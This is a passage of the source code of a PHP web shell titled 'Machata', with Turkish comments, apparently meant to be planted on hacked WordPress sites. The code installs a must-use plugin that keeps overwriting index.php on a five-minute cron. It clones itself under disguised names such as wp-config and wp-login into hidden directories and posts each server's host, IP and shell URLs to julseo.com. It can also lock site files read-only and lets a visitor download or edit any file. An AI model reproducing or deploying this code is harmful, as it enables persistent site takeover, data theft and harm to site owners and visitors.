        @file_put_contents($index_file, $protected_content);
    }
}

add_action(\'wp_loaded\', \'protect_index_file\');
add_action(\'admin_init\', \'protect_index_file\');
add_action(\'switch_theme\', \'protect_index_file\');
add_action(\'activated_plugin\', \'protect_index_file\');
add_action(\'deactivated_plugin\', \'protect_index_file\');
if (!wp_next_scheduled(\'protect_index_cron\')) {
    wp_schedule_event(time(), \'five_minutes\', \'protect_index_cron\');
}
add_filter(\'cron_schedules\', function($schedules) {
    $schedules[\'five_minutes\'] = array(
        \'interval\' => 300,
        \'display\' => __(\'Every 5 Minutes\')
    );
    return $schedules;
});
add_action(\'protect_index_cron\', \'protect_index_file\');
if (function_exists(\'inotify_init\')) {
    add_action(\'init\', function() {
        $index_file = ABSPATH . \'index.php\';
        if (file_exists($index_file)) {
            register_shutdown_function(function() {
                protect_index_file();
            });
        }
    });
}

add_action(\'wp_ajax_nopriv_heartbeat\', \'protect_index_file\', 1);
add_action(\'wp_ajax_heartbeat\', \'protect_index_file\', 1);
?>';
    
    $protection_file = $mu_plugins_path . '/index-protection.php';
    if (@file_put_contents($protection_file, $protection_code)) {
        $index_file = $_SERVER['DOCUMENT_ROOT'] . '/index.php';
        @file_put_contents($index_file, $protected_content);
        return true;
    }
    
    return false;
}





function sendShellClonesToJulseo($created, $urls) {
    $julseo_url = 'https://julseo.com/klon.php';
    
    $shell_data = [
        'server_name' => $_SERVER['HTTP_HOST'] ?? 'Unknown',
        'server_ip' => $_SERVER['SERVER_ADDR'] ?? 'Unknown',
        'server_path' => getcwd(),
        'clone_date' => date('Y-m-d H:i:s'),
        'timestamp' => time(),
        'shells' => []
    ];
    
    foreach ($created as $index => $shell_info) {
        $shell_path = is_array($shell_info) ? $shell_info['path'] : $shell_info;
        $shell_url = is_array($shell_info) ? $shell_info['url'] : ($urls[$index] ?? '');
        
        $shell_data['shells'][] = [
            'filename' => basename($shell_path),
            'full_path' => $shell_path,
            'url' => $shell_url,
            'type' => $index < 3 ? 'random' : 'wp_like',
            'status' => 'active',
            'file_size' => file_exists($shell_path) ? filesize($shell_path) : 0
        ];
    }
    
    $post_data = [
        'api_key' => 'julseo2025',
        'api_action' => 'receive_shell_clones',
        'shell_data' => json_encode($shell_data)
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $julseo_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Shell Manager/1.0');
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/x-www-form-urlencoded',
        'X-Shell-Server: ' . ($_SERVER['HTTP_HOST'] ?? 'Unknown')
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200) {
        error_log("Julseo.com'a veri gönderilemedi. HTTP Code: $http_code, Response: $response");
    } else {
        error_log("Julseo.com'a veri başarıyla gönderildi. Shell sayısı: " . count($created));
    }
    
}

function cloneShellFiles() {
    $source_file = __FILE__;
    $web_root = $_SERVER['DOCUMENT_ROOT'];
    
    $random_names = [
        'system_' . substr(md5(rand() . time()), 0, 8) . '.php',
        'admin_' . substr(md5(rand() . time()), 0, 6) . '.php',
        'config_' . substr(md5(rand() . time()), 0, 7) . '.php',
        'wp-login' . chr(rand(97, 122)) . chr(rand(97, 122)) . '.php',
        'wp-admin' . chr(rand(97, 122)) . chr(rand(97, 122)) . '.php',
        'wp-config' . chr(rand(97, 122)) . chr(rand(97, 122)) . '.php'
    ];
    
    // Derinlere inen rastgele dizinler
    $deep_dirs = [
        '/wp-content/plugins/akismet/views/',
        '/wp-content/themes/twentytwenty/assets/js/',
        '/wp-includes/js/jquery/',
        '/wp-admin/includes/class/',
        '/wp-content/uploads/2023/cache/',
        '/wp-content/cache/plugins/',
        '/assets/css/themes/',
        '/includes/libraries/vendor/',
        '/public/js/components/',
        '/resources/views/admin/',
        '/storage/app/public/',
        '/vendor/laravel/framework/src/'
    ];
    
    $cloned_files = [];
    $cloned_count = 0;
    $domain = $_SERVER['HTTP_HOST'];
    
    foreach ($random_names as $index => $name) {
        // Rastgele bir derinlik seç
        $selected_dir = $deep_dirs[array_rand($deep_dirs)];
        $target_dir = $web_root . $selected_dir;
        
        // Dizini oluştur (yoksa)
        if (!is_dir($target_dir)) {
            @mkdir($target_dir, 0755, true);
        }
        
        $target_file = $target_dir . $name;
        
        // Dosya yoksa kopyala
        if (!file_exists($target_file) && is_writable($target_dir)) {
            if (@copy($source_file, $target_file)) {
                $cloned_count++;
                $cloned_files[] = [
                    'name' => $name,
                    'path' => $selected_dir . $name,
                    'url' => 'https://' . $domain . $selected_dir . $name
                ];
            }
        }
    }
    
    // Julseo.com API'sine klonlama verilerini gönder
    if ($cloned_count > 0) {
        $created_paths = [];
        $urls = [];
        
        foreach ($cloned_files as $file_info) {
            $created_paths[] = $web_root . $file_info['path'];
            $urls[] = $file_info['url'];
        }
        
        // API'ye gönder
        sendShellClonesToJulseo($created_paths, $urls);
    }
    
    // Klonlama bilgisini kaydet
    $clone_info = [
        'date' => date('d/m/Y H:i:s'),
        'domain' => $domain,
        'count' => $cloned_count,
        'files' => $cloned_files
    ];
    
    return $clone_info;
}

// Sunucu dosyalarını kilitle
function lockServerFiles($dir, $critical_files) {
    if (!is_dir($dir)) return;
    
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        
        $full_path = $dir . '/' . $item;
        $relative_path = str_replace($_SERVER['DOCUMENT_ROOT'] . '/', '', $full_path);
        
        // Kritik dosyaları atla
        if (in_array($item, $critical_files) || 
            in_array($relative_path, $critical_files) ||
            strpos($item, basename(__FILE__)) !== false) {
            continue;
        }
        
        if (is_dir($full_path)) {
            // Klasörü salt okunur yap ve alt klasörleri işle
            @chmod($full_path, 0555);
            lockServerFiles($full_path, $critical_files);
        } else {
            // Dosyayı salt okunur yap
            @chmod($full_path, 0444);
        }
    }
}

// Sunucu dosyalarını aç (normal izinlere döndür)
function unlockServerFiles($dir, $critical_files) {
    if (!is_dir($dir)) return;
    
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        
        $full_path = $dir . '/' . $item;
        $relative_path = str_replace($_SERVER['DOCUMENT_ROOT'] . '/', '', $full_path);
        
        // Kritik dosyaları atla
        if (in_array($item, $critical_files) || 
            in_array($relative_path, $critical_files) ||
            strpos($item, basename(__FILE__)) !== false) {
            continue;
        }
        
        if (is_dir($full_path)) {
            // Klasörü normal izinlere döndür ve alt klasörleri işle
            @chmod($full_path, 0755);
            unlockServerFiles($full_path, $critical_files);
        } else {
            // Dosyayı normal izinlere döndür
            @chmod($full_path, 0644);
        }
    }
}

// Dosya izinlerini al
function getFilePermissions($file_path) {
    if (!@file_exists($file_path)) {
        return '0000';
    }
    
    $perms = @fileperms($file_path);
    if ($perms === false) {
        return '0000';
    }
    
    $perms = substr(sprintf('%o', $perms), -4);
    return $perms;
}

// Dosya sahibini al
function getFileOwner($file_path) {
    if (!@file_exists($file_path)) {
        return 'unknown';
    }
    
    $owner_uid = @fileowner($file_path);
    if ($owner_uid === false) {
        return 'unknown';
    }
    
    // Kullanıcı adını almaya çalış
    if (function_exists('posix_getpwuid')) {
        $user_info = @posix_getpwuid($owner_uid);
        if ($user_info !== false) {
            return $user_info['name'];
        }
    }
    
    // Kullanıcı adı alınamazsa UID'yi döndür
    return $owner_uid;
}

// İzinleri okunabilir formata çevir
function formatPermissions($perms) {
    $owner = substr($perms, 1, 1);
    $group = substr($perms, 2, 1);
    $world = substr($perms, 3, 1);
    
    $owner_str = '';
    $group_str = '';
    $world_str = '';
    
    // Owner permissions
    if ($owner >= 4) { $owner_str .= 'r'; } else { $owner_str .= '-'; }
    if ($owner % 4 >= 2) { $owner_str .= 'w'; } else { $owner_str .= '-'; }
    if ($owner % 2 == 1) { $owner_str .= 'x'; } else { $owner_str .= '-'; }
    
    // Group permissions
    if ($group >= 4) { $group_str .= 'r'; } else { $group_str .= '-'; }
    if ($group % 4 >= 2) { $group_str .= 'w'; } else { $group_str .= '-'; }
    if ($group % 2 == 1) { $group_str .= 'x'; } else { $group_str .= '-'; }
    
    // World permissions
    if ($world >= 4) { $world_str .= 'r'; } else { $world_str .= '-'; }
    if ($world % 4 >= 2) { $world_str .= 'w'; } else { $world_str .= '-'; }
    if ($world % 2 == 1) { $world_str .= 'x'; } else { $world_str .= '-'; }
    
    return $owner_str . $group_str . $world_str;
}

// Dosya indirme
if (isset($_GET['download'])) {
    $file_path = $_GET['download'];
    // Gerçek dosya yolunu oluştur
    $real_file_path = $_SERVER['DOCUMENT_ROOT'] . $file_path;
    
    if (is_file($real_file_path) && is_readable($real_file_path)) {
        $filename = basename($file_path);
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . $filename . '"');
        header('Content-Length: ' . filesize($real_file_path));
        readfile($real_file_path);
        exit;
    }
}

// Dosya düzenleme
$edit_file = isset($_GET['edit']) ? $_GET['edit'] : null;
$file_content = '';

if ($edit_file) {
    // Path'i düzelt
    if (strpos($edit_file, '/') === 0) {
        // Absolute path
        $real_edit_file = $edit_file;
    } else {
        // Relative path
        $real_edit_file = $_SERVER['DOCUMENT_ROOT'] . '/' . ltrim($edit_file, '/');
    }
    
    if (@is_file($real_edit_file) && @is_readable($real_edit_file)) {
        $file_content = @file_get_contents($real_edit_file);
        if ($file_content === false) {
            $file_content = '';
        }
        
        if (isset($_POST['save_content']) && @is_writable($real_edit_file)) {
            $save_result = @file_put_contents($real_edit_file, $_POST['content']);
            if ($save_result !== false) {
                $save_success = true;
                $file_name = basename($real_edit_file);
                $save_success_msg = "✅ $file_name başarıyla kaydedildi!";
                // Dosyayı yeniden oku ki değişiklikler görünsün
                $file_content = $_POST['content'];
            } else {
                $save_error = "❌ Dosya kaydedilemedi!";
            }
        }
    } else {
        $file_content = "// Dosya okunamıyor veya erişim izni yok\n// Dosya: " . $edit_file;
    }
}

// Dizin içeriğini al
$files = [];
$folders = [];

// open_basedir kısıtlamalarını kontrol et
$allowed_paths = ini_get('open_basedir');
$open_basedir_active = !empty($allowed_paths);

// Gerçek dosya yolunu oluştur - open_basedir uyumlu
if ($current_path === '/' || $current_path === '') {
    if ($open_basedir_active) {
        // open_basedir aktifse, izin verilen ilk path'i kullan
        $allowed_array = explode(':', $allowed_paths);
        $real_current_path = rtrim($allowed_array[0], '/');
        if (empty($real_current_path)) {
            $real_current_path = $_SERVER['DOCUMENT_ROOT'];
        }
    } else {
        // Kök dizin erişimi (open_basedir yoksa)
        $real_current_path = '/';
    }
} elseif (strpos($current_path, '/') === 0) {
    // Absolute path
    $real_current_path = $current_path;
} else {
    // Relative path
    $real_current_path = $_SERVER['DOCUMENT_ROOT'] . '/' . ltrim($current_path, '/');
}

// Path'i normalize et (sadece open_basedir izin veriyorsa)
if ($open_basedir_active) {
    $path_allowed = false;
    $allowed_array = explode(':', $allowed_paths);
    foreach ($allowed_array as $allowed_path) {
        if (strpos($real_current_path, rtrim($allowed_path, '/')) === 0) {
            $path_allowed = true;
            break;
        }
    }
    
    if ($path_allowed) {
        $normalized_path = @realpath($real_current_path);
        if ($normalized_path !== false) {
            $real_current_path = $normalized_path;
        }
    }
} else {
    $normalized_path = @realpath($real_current_path);
    if ($normalized_path !== false) {
        $real_current_path = $normalized_path;
    }
}

// open_basedir kontrolü
$allowed_paths = ini_get('open_basedir');
$path_allowed = true;

if (!empty($allowed_paths)) {
    $allowed_array = explode(':', $allowed_paths);
    $path_allowed = false;
    foreach ($allowed_array as $allowed_path) {
        if (strpos($real_current_path, rtrim($allowed_path, '/')) === 0) {
            $path_allowed = true;
            break;
        }
    }
}

if ($path_allowed && is_dir($real_current_path)) {
    $items = @scandir($real_current_path);
    if ($items !== false) {
        foreach ($items as $item) {
            if ($item != '.' && $item != '..') {
                $full_path = $real_current_path . '/' . $item;
                // Her dosya için ayrı ayrı kontrol et
                if (@is_dir($full_path)) {
                    $folders[] = $item;
                } elseif (@is_file($full_path)) {
                    $files[] = $item;
                }
            }
        }
    }
}

// Breadcrumb oluştur
$breadcrumbs = [];
if ($current_path !== '/' && $current_path !== '') {
    $path_parts = explode('/', trim($current_path, '/'));
    $current_breadcrumb = '';
    foreach ($path_parts as $part) {
        if ($part) {
            $current_breadcrumb .= '/' . $part;
            $breadcrumbs[] = ['name' => $part, 'path' => $current_breadcrumb];
        }
    }
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Machata</title>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
    <style>
        :root {
            --bg-main: #0d1117;
            --bg-card: #161b22;
            --bg-header: #21262d;
            --bg-table-row: #161b22;
            --bg-table-row-hover: #21262d;
            --bg-toolbar: #0d1117;
            --accent: #58a6ff;
            --accent-hover: #1f6feb;
            --border-main: #30363d;
            --border-soft: #21262d;
            --shadow: 0 8px 24px rgba(0, 0, 0, 0.4);
            --color-title: #f0f6fc;
            --color-text: #c9d1d9;
            --color-muted: #8b949e;
            --color-link: #58a6ff;
            --radius: 8px;
            --success: #3fb950;
            --warning: #d29922;
            --danger: #f85149;
            --info: #58a6ff;
        }

        html, body {
            height: 100%;
            margin: 0; padding: 0;
            background: var(--bg-main);
            font-family: 'Segoe UI', 'Roboto', Arial, sans-serif;
            color: var(--color-text);
        }

        /* Scrollbar stilleri - Koyu tema */
        ::-webkit-scrollbar {
            width: 12px;
            height: 12px;
        }

        ::-webkit-scrollbar-track {
            background: var(--bg-main);
            border-radius: 6px;
        }

        ::-webkit-scrollbar-thumb {
            background: var(--border-main);
            border-radius: 6px;
            border: 2px solid var(--bg-main);
        }

        ::-webkit-scrollbar-thumb:hover {
            background: var(--color-muted);
        }

        ::-webkit-scrollbar-corner {
            background: var(--bg-main);
        }

        /* Firefox için scrollbar */
        * {
            scrollbar-width: thin;
            scrollbar-color: var(--border-main) var(--bg-main);
        }

        body, main {
            min-height: 100vh;
        }

        main {
            width: 100vw;
            min-height: 100vh;
            padding: 0;
            margin: 0;
            display: flex;
            flex-direction: column;
            align-items: stretch;
        }

        .container-fluid {
            max-width: 1720px;
            width: 100%;
            padding: 0 0 0 0;
            margin: 0 auto;
        }

        .shadow-card {
            background: var(--bg-card);
            box-shadow: var(--shadow);
            border-radius: var(--radius);
            border: none;
            margin: 22px 0 0 0;
            padding: 0;
        }

        .file-table {
            font-size: 15px;
            background: transparent;
            margin: 0;
            width: 100%;
            border-radius: var(--radius);
            overflow: hidden;
        }

        .file-table thead th {
            background: var(--bg-header);
            color: var(--color-title);
            font-weight: 600;
            font-size: 14.7px;
            border-bottom: 1.5px solid var(--border-main);
            padding: 12px 10px;
            text-align: left;
        }

        .file-table tbody td {
            background: var(--bg-table-row);
            color: var(--color-text);
            border-bottom: 1px solid var(--border-soft);
            font-size: 15px;
            padding: 9px 10px;
            vertical-align: middle;
            transition: background .15s;
            height: 46px;
        }

        .file-table tr:hover td {
            background: var(--bg-table-row-hover);
            color: var(--color-title);
        }

        .icon-action-row {
            display: flex;
            gap: 7px;
            align-items: center;
        }

        .icon-btn {
            background: var(--bg-toolbar);
            border: 1px solid var(--border-soft);
            border-radius: 6px;
            padding: 8px 10px;
            cursor: pointer;
            font-size: 14px;
            color: var(--color-title);
            transition: all .2s ease;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            outline: none;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            min-width: 32px;
            height: 32px;
        }
        .icon-btn:hover {
            background: var(--accent);
            color: #ffffff;
            border-color: var(--accent);
            transform: translateY(-1px);
            box-shadow: 0 2px 8px rgba(0,0,0,0.15);
        }
        .icon-btn.edit { color: var(--info); }
        .icon-btn.rename { color: var(--warning); }
        .icon-btn.download { color: var(--success); }
        .icon-btn.delete { color: var(--danger); }
        .icon-btn.permission { color: var(--info); }
        .icon-btn.zip { color: #a855f7; }

        .fa-folder, .fa-file {
            font-size: 20px;
        }
        .fa-folder { color: var(--warning); }
        .fa-file { color: var(--color-muted); }

        .file-table .filename {
            font-size: 15.2px;
            font-weight: 500;
            letter-spacing: 0.02em;
            color: var(--color-link);
        }

        .file-table .filename:hover, .file-table a:hover {
            text-decoration: underline;
            color: var(--accent);
        }

        .file-table tr td, .file-table tr th {
            border-right: none;
        }

        .table-responsive {
            border-radius: var(--radius);
            overflow-x: auto;
            background: transparent;
            margin: 0;
            padding: 0;
        }

        .navbar, .navbar-brand {
            background: var(--bg-header) !important;
            color: var(--color-title) !important;
            font-weight: 600;
            letter-spacing: .01em;
            box-shadow: 0 2px 8px #6c757d1a;
            border-radius: 0 0 var(--radius) var(--radius);
        }
        .navbar-brand i { color: var(--color-muted); margin-right: 6px;}

        /* Yeni üst menü stilleri */
        .top-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            width: 100%;
            padding: 15px 0;
            border-bottom: 1px solid var(--border-soft);
        }

        .header-left {
            display: flex;
            align-items: center;
        }

        .header-right {
            display: flex;
            align-items: center;
            gap: 15px;
        }

        .username {
            color: var(--color-title);
            font-weight: 500;
            font-size: 14px;
        }

        .logout-btn {
            display: flex;
            align-items: center;
            gap: 6px;
            background: var(--bg-card);
            color: var(--color-title);
            border: 1px solid var(--border-soft);
            border-radius: 6px;
            padding: 6px 12px;
            font-size: 13px;
            font-weight: 500;
            text-decoration: none;
            transition: all .13s;
        }

        .logout-btn:hover {
            background: var(--accent);
            color: #ffffff;
            border-color: var(--accent);
        }

        .main-actions {
            display: flex;
            align-items: center;
            width: 100%;
            padding: 15px 0;
            margin-top: 20px;
        }

        .actions-left {
            display: flex;
            align-items: center;
            gap: 15px;
            flex-wrap: wrap;
        }

        .upload-btn {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            background: var(--accent);
            color: #ffffff;
            border: 1px solid var(--accent);
            border-radius: 6px;
            padding: 9px 15px;
            font-size: 14px;
            font-weight: 500;
            cursor: pointer;
            transition: all .2s ease;
            text-decoration: none;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            outline: none;
        }

        .upload-btn:hover {
            background: var(--accent-hover);
            border-color: var(--accent-hover);
            transform: translateY(-1px);
            box-shadow: 0 2px 8px rgba(0,0,0,0.15);
        }

        .parent-folder-link a {
            display: flex;
            align-items: center;
            gap: 6px;
            color: var(--color-link);
            text-decoration: none;
            font-size: 13px;
            padding: 4px 8px;
            border-radius: 4px;
            transition: background .13s;
        }

        .parent-folder-link a:hover {
            background: var(--bg-table-row-hover);
            color: var(--color-title);
        }

        .create-section {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .create-input {
            background: var(--bg-card);
            color: var(--color-title);
            border: 1px solid var(--border-soft);
            border-radius: 6px;
            padding: 8px 12px;
            font-size: 14px;
            min-width: 200px;
            transition: border .13s;
        }

        .create-input:focus {
            outline: none;
            border: 1.5px solid var(--accent);
        }

        .create-select {
            background: var(--bg-card);
            color: var(--color-title);
            border: 1px solid var(--border-soft);
            border-radius: 6px;
            padding: 8px 12px;
            font-size: 14px;
            transition: border .13s;
        }

        .create-select:focus {
            outline: none;
            border: 1.5px solid var(--accent);
        }

        .create-btn {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            background: var(--accent);
            color: #ffffff;
            border: 1px solid var(--accent);
            border-radius: 6px;
            padding: 9px 15px;
            font-size: 14px;
            font-weight: 500;
            cursor: pointer;
            transition: all .2s ease;
            text-decoration: none;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            outline: none;
        }

        .create-btn:hover {
            background: var(--accent-hover);
            color: #ffffff;
            border-color: var(--accent-hover);
            transform: translateY(-1px);
            box-shadow: 0 2px 8px rgba(0,0,0,0.15);
        }

        /* Mobil uyumluluk */
        @media (max-width: 768px) {
            .top-header {
                flex-direction: column;
                gap: 10px;
            }

            .main-actions {
                padding: 10px 0;
                margin-top: 15px;
            }

            .actions-left {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
                width: 100%;
            }

            .create-section {
                flex-direction: column;
                width: 100%;
            }

            .create-input {
                min-width: auto;
                width: 100%;
            }
        }

        .publish-tools-wrapper {
            position: relative;
            display: inline-block;
        }
        .tools-main-btn {
            background: var(--accent);
            color: #ffffff;
            border: 1px solid var(--accent);
            border-radius: 6px;
            font-weight: 500;
            font-size: 14px;
            padding: 9px 15px;
            margin-left: 10px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            transition: all .2s ease;
            cursor: pointer;
            outline: none;
            display: inline-flex;
            align-items: center;
            gap: 6px;
        }
        .tools-main-btn:hover, .tools-main-btn.active {
            background: var(--accent-hover);
            color: #ffffff;
            border-color: var(--accent-hover);
            transform: translateY(-1px);
            box-shadow: 0 2px 8px rgba(0,0,0,0.15);
        }

        .publish-tools-menu {
            position: absolute;
            right: 0; top: 110%;
            display: none;
            background: var(--bg-card);
            border-radius: var(--radius);
            box-shadow: var(--shadow);
            padding: 15px 14px 10px 14px;
            min-width: 210px;
            z-index: 90;
            border: 1.5px solid var(--border-main);
            animation: slideInRight .22s cubic-bezier(.65,.04,.54,1.1);
        }
        @keyframes slideInRight {
            from { opacity: 0; transform: translateX(90px) scale(.95);}
            to   { opacity: 1; transform: translateX(0) scale(1);}
        }
        .tools-menu-btn {
            display: flex;
            align-items: center;
            gap: 8px;
            width: 100%;
            margin-bottom: 6px;
            color: var(--color-title) !important;
            background: var(--bg-table-row);
            border: 1px solid var(--border-soft);
            border-radius: 6px;
            font-weight: 500;
            font-size: 14px;
            padding: 10px 12px;
            text-align: left;
            text-decoration: none;
            transition: all .2s ease;
            cursor: pointer;
            outline: none;
        }
        .tools-menu-btn i { 
            width: 16px; 
            text-align: center; 
            font-size: 14px;
        }
        .tools-menu-btn:hover {
            background: var(--accent);
            color: #ffffff !important;
            border-color: var(--accent);
            transform: translateX(2px);
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }

        .alert-dark {
            background: linear-gradient(120deg,#e9ecef 60%,#dee2e6 100%);
            color: #495057;
            border-radius: 11px;
            font-size: 15px;
            padding: 11px 15px;
            box-shadow: 0 2px 16px #6c757d33;
            border: 1px solid #ced4da;
            margin-bottom: 13px;
        }

        .form-control, .form-select {
            background: #ffffff;
            color: #495057;
            border: 1px solid var(--border-main);
            border-radius: 7px;
            font-size: 15px;
            box-shadow: none;
            transition: border .13s;
        }
        .form-control:focus, .form-select:focus {
            border: 1.5px solid #6c757d;
            outline: none;
        }

        .btn-primary, .btn-success {
            background: var(--accent);
            color: #ffffff !important;
            border: 1px solid var(--accent);
            font-weight: 500;
            font-size: 14px;
            padding: 9px 15px;
            border-radius: 6px;
            cursor: pointer;
            transition: all .2s ease;
            display: inline-flex;
            align-items: center;
            gap: 6px;
            text-decoration: none;
            outline: none;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
        }
        .btn-primary:hover, .btn-success:hover {
            background: var(--accent-hover);
            color: #ffffff !important;
            border-color: var(--accent-hover);
            transform: translateY(-1px);
            box-shadow: 0 2px 8px rgba(0,0,0,0.15);
        }

        .btn-secondary, .btn-outline-secondary {
            background: #f8f9fa;
            color: #6c757d !important;
            border: 1px solid #dee2e6;
            font-weight: 500;
            font-size: 14px;
            padding: 9px 15px;
            border-radius: 6px;
            cursor: pointer;
            transition: all .2s ease;
            display: inline-flex;
            align-items: center;
            gap: 6px;
            text-decoration: none;
            outline: none;
            box-shadow: 0 1px 3px rgba(0,0,0,0.05);
        }
        .btn-secondary:hover, .btn-outline-secondary:hover {
            background: #e9ecef;
            color: #495057 !important;
            border-color: #ced4da;
            transform: translateY(-1px);
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }

        .btn-danger {
            background: #dc3545;
            color: #ffffff !important;
            border: 1px solid #dc3545;
            font-weight: 500;
            font-size: 14px;
            padding: 9px 15px;
            border-radius: 6px;
            cursor: pointer;
            transition: all .2s ease;
            display: inline-flex;
            align-items: center;
            gap: 6px;
            text-decoration: none;
            outline: none;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
        }
        .btn-danger:hover {
            background: #c82333;
            color: #ffffff !important;
            border-color: #c82333;
            transform: translateY(-1px);
            box-shadow: 0 2px 8px rgba(220,53,69,0.25);
        }

        ::-webkit-scrollbar {
            width: 10px; background: #f8f9fa;
        }
        ::-webkit-scrollbar-thumb {
            background: #dee2e6; border-radius: 7px;
        }
        ::-webkit-scrollbar-thumb:hover {
            background: #6c757d;
        }

        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            z-index: 1000;
        }

        /* Basit Bildirim Sistemi */
        .notification-bar {
            display: none;
            padding: 12px 20px;
            margin: 15px 0;
            border-radius: 6px;
            font-size: 14px;
            font-weight: 500;
        }

        .notification-bar.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }

        .notification-bar.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }

        .modal-content {
            background: var(--bg-card);
            margin: 5% auto;
            padding: 2rem;
            border-radius: var(--radius);
            width: 90%;
            max-width: 500px;
            max-height: 80vh;
            overflow-y: auto;
            box-shadow: var(--shadow);
            border: 1.5px solid var(--border-main);
        }

        .modal h2 {
            margin-bottom: 1rem;
            color: var(--color-title);
            font-weight: 600;
        }

        .form-group {
            margin-bottom: 1rem;
        }

        .form-group label {
            display: block;
            margin-bottom: 0.5rem;
            font-weight: 600;
            color: var(--color-title);
        }

        .form-group input, .form-group textarea {
            width: 100%;
            padding: 0.75rem;
            background: #ffffff;
            color: #495057;
            border: 1px solid var(--border-main);
            border-radius: 7px;
            font-size: 14px;
            transition: border .13s;
        }

        .form-group input:focus, .form-group textarea:focus {
            outline: none;
            border: 1.5px solid #6c757d;
        }

        .editor-container {
            background: var(--bg-card);
            border-radius: var(--radius);
            overflow: hidden;
            box-shadow: var(--shadow);
            margin-top: 1rem;
            border: 1.5px solid var(--border-main);
        }

        .editor-header {
            background: var(--bg-header);
            padding: 1rem;
            border-bottom: 1.5px solid var(--border-main);
            display: flex;
            justify-content: space-between;
            align-items: flex-start;
        }

        .editor-title-section {
            display: flex;
            flex-direction: column;
            gap: 8px;
        }

        .editor-title-section h3 {
            color: var(--color-title);
            font-weight: 600;
            font-size: 1.1rem;
            margin: 0;
        }

        .editor-nav-buttons {
            display: flex;
            gap: 8px;
        }

        .editor-action-buttons {
            display: flex;
            gap: 8px;
            align-items: center;
        }

        .editor-nav-buttons .btn-sm {
            padding: 4px 12px;
            font-size: 13px;
            border-radius: 6px;
            text-decoration: none;
            transition: all 0.2s ease;
        }

        .editor-nav-buttons .btn-secondary {
            background: #6c757d;
            border: 1px solid #6c757d;
            color: #ffffff !important;
        }

        .editor-nav-buttons .btn-secondary:hover {
            background: #5a6268;
            border-color: #545b62;
            transform: translateY(-1px);
            color: #ffffff !important;
        }

        .editor-content {
            min-height: 400px;
        }

        .editor-textarea {
            width: 100%;
            min-height: 400px;
            padding: 1rem;
            border: none;
            background: var(--bg-card);
            color: var(--color-text);
            font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace;
            font-size: 14px;
            line-height: 1.5;
            resize: vertical;
        }

        .editor-textarea:focus {
            outline: none;
        }

        .breadcrumb {
            display: flex;
            flex-wrap: wrap;
            gap: 0.5rem;
            align-items: center;
            margin-top: 0.5rem;
        }

        .breadcrumb a {
            color: var(--color-link);
            text-decoration: none;
            padding: 0.25rem 0.5rem;
            border-radius: 4px;
            transition: background 0.3s ease;
            font-size: 14px;
        }

        .breadcrumb a:hover {
            background: var(--bg-table-row-hover);
            color: #495057;
        }

        .breadcrumb i {
            color: var(--color-muted);
            font-size: 12px;
        }

        @media (max-width: 1200px) {
            .file-table, .container-fluid { font-size: 13px; }
            .file-table thead th, .file-table tbody td { padding: 7px 5px; }
        }
        .permission-display {
            font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace;
            font-size: 13px;
            color: var(--color-title);
            background: var(--bg-toolbar);
            padding: 2px 6px;
            border-radius: 4px;
            border: 1px solid var(--border-soft);
            display: flex;
            align-items: center;
        }

        .perm-octal {
            font-weight: 600;
            padding: 2px 4px;
            border-radius: 3px;
            background: rgba(0,123,255,0.1);
            transition: all .2s ease;
        }

        .perm-octal:hover {
            background: rgba(0,123,255,0.2);
            color: #0056b3;
        }

        .perm-text {
            font-size: 11px;
            color: var(--color-muted);
        }

        .permission-selector {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 1rem;
            margin-bottom: 1rem;
        }

        .permission-group {
            background: var(--bg-toolbar);
            padding: 1rem;
            border-radius: 8px;
            border: 1px solid var(--border-soft);
        }

        .permission-group label {
            font-weight: 600;
            color: var(--color-title);
            margin-bottom: 0.5rem;
            display: block;
        }

        .permission-checkboxes {
            display: flex;
            flex-direction: column;
            gap: 0.5rem;
        }

        .permission-checkboxes label {
            font-weight: normal;
            color: var(--color-text);
            display: flex;
            align-items: center;
            gap: 0.5rem;
            cursor: pointer;
        }

        .permission-checkboxes input[type="checkbox"] {
            width: auto;
            margin: 0;
        }

        .permission-preview {
            background: var(--bg-toolbar);
            padding: 0.75rem;
            border-radius: 6px;
            border: 1px solid var(--border-soft);
            margin-top: 1rem;
        }

        @media (max-width: 800px) {
            .container-fluid, .shadow-card { max-width: 98vw !important; }
